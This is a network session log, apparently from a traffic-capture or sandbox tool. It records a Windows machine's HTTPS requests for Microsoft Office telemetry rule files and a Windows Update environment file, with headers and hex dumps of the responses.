2024-12-06 21:09:06 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:06 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 8863b02e-001e-008d-5ccb-45d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210906Z-1746fd949bd6zq92hC1EWRry4800000004mg00000000xen9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:07 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:08 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:08 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 0cb9a159-001e-0079-71ce-4512e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210908Z-1746fd949bdjrnwqhC1EWRpg2800000004xg000000000rm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:08 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:08 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:08 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 62ef0171-501e-000a-5a03-480180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210908Z-r1cf579d778zvkpnhC1EWRv23g00000000qg00000000517d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:08 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:08 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:09 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:08 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: d954f12c-201e-000c-55cb-4579c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210908Z-1746fd949bd2cq7chC1EWRnx9g00000004dg000000009yc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:09 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:08 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:09 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:09 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 4f685411-201e-0033-27cc-45b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210909Z-1746fd949bdb8xvchC1EWRmbd400000004t00000000026yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:09 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:08 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:09 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:09 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 15e9867f-c01e-0046-5804-482db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210909Z-r1cf579d7788pwqzhC1EWRrpd800000000s0000000004kgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:09 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	49841	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:10 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hhuOZ1mh1W8sXGL&MD=44SSmx1t HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-06 21:09:10 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 5e980aa6-1b70-477d-b665-4169f83c4cbd MS-RequestId: 261b4c3b-8e66-4de9-a822-7fba7e400ab4 MS-CV: mua7x4XosU+z66+g.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 06 Dec 2024 21:09:10 GMT Connection: close Content-Length: 30005
2024-12-06 21:09:10 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-06 21:09:10 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:10 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:11 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:11 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210910Z-r1cf579d778mvsklhC1EWRkavg00000000pg000000005hqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:11 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:10 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:11 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e8edde3b-801e-0083-79cc-45f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210911Z-1746fd949bdhk6hphC1EWRaw3c00000004m0000000003qys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:11 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:10 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210911Z-r1cf579d778qlpkrhC1EWRpfc8000000016g000000001hxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:10 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:11 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 77d68196-001e-0066-56cc-45561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210911Z-1746fd949bdqpttnhC1EWRe1wg00000004g000000000cdxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:11 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:11 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
